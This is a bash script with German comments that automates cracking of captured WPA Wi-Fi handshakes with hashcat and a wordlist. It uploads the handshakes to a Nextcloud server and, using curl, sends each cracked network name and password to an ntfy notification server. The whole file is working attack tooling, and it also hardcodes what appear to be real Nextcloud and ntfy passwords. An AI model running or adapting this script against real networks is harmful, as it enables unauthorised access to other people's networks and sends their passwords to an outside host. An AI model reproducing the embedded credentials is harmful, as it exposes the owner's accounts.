#!/bin/bash # Verzeichnisse definieren handshake_dir="/root/handshakes/" wordlist="/media/michaelis/Games/Wordlists/fucking_big_WPA.txt" output_dir="$handshake_dir/output" cracked_dir="$handshake_dir/cracked" not_cracked_dir="$handshake_dir/not_cracked" session_file="/root/.hashcat/sessions/hashcat.restore" # Nextcloud WebDAV-Einstellungen nextcloud_url="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/Handshakes/" username="Michaelis" password="BD2KS-izswe-gGBJA-Pas9G-M8tKR" # Erstelle Ausgabe- und Ergebnisordner, falls nicht vorhanden mkdir -p "$output_dir" "$cracked_dir" "$not_cracked_dir" # Funktion zum rekursiven Hochladen upload_to_nextcloud() { local directory=$1 local base_url=$2 find "$directory" -type d | while read dir; do # Entferne das Basisverzeichnis aus dem Pfad und erstelle das Verzeichnis auf dem Server remote_dir="${dir#$directory}" curl -u "$username:$password" -X MKCOL "$base_url$remote_dir" done find "$directory" -type f | while read file; do # Entferne das Basisverzeichnis aus dem Pfad und lade die Datei hoch remote_file="${file#$directory}" curl -u "$username:$password" -T "$file" "$base_url$remote_file" done } # Funktion zum Bearbeiten eines einzelnen Handshakes process_handshake() { local handshake=$1 local handshake_filename=$(basename "$handshake") local network_name="${handshake_filename%.22000}" # Benachrichtigung: Neuer Handshake gestartet curl -d "Neuer Handshake gestartet: $network_name" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali # Hochladen des Handshake-Verzeichnisses auf Nextcloud upload_to_nextcloud "$handshake_dir" "$nextcloud_url" # Handshake knacken hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" -w 3 --status # Überprüfen des Exit-Codes von Hashcat if grep -q "$network_name" "$output_dir/cracked.txt"; then # Passwort erfolgreich geknackt cracked_password=$(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2) echo "Netzwerk: $network_name, Passwort: $cracked_password" >> "$output_dir/results.txt" mv "$handshake" "$cracked_dir/" echo "Passwort für $network_name gefunden" # Benachrichtigung: Handshake geknackt curl -d "Passwort für $network_name gefunden: $cracked_password" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali else # Passwort nicht gefunden echo "Passwort für $network_name nicht gefunden" mv "$handshake" "$not_cracked_dir/" # Benachrichtigung: Handshake nicht geknackt curl -d "Passwort für $network_name nicht gefunden" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali fi } # Funktion zum Überprüfen und Wiederherstellen einer Hashcat-Sitzung restore_hashcat_session() { if [ -f "$session_file" ]; then echo "Eine Hashcat-Sitzung wird wiederhergestellt..." curl -d "Hashcat Sitzung wiederhergestellt" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali hashcat --restore "$session_file" # Nach Wiederherstellung der Sitzung sicherstellen, dass die Handshake-Datei richtig eingeordnet wird for handshake in "$handshake_dir"/*.22000; do process_handshake "$handshake" done fi } # Funktion zum Durchgehen aller Handshakes bruteforce_handshake() { local total_handshakes=$(find "$handshake_dir" -maxdepth 1 -type f -name '*.22000' | wc -l) local current_handshake=0 # Durch alle Handshakes gehen for handshake in "$handshake_dir"/*.22000; do ((current_handshake++)) handshake_filename=$(basename "$handshake") # Überspringe Handshakes, die bereits bearbeitet wurden if [ -f "$cracked_dir/$handshake_filename" ] || [ -f "$not_cracked_dir/$handshake_filename" ]; then echo "Handshake $handshake_filename wurde bereits bearbeitet, überspringen..." continue fi process_handshake "$handshake" done } # Main restore_hashcat_session bruteforce_handshake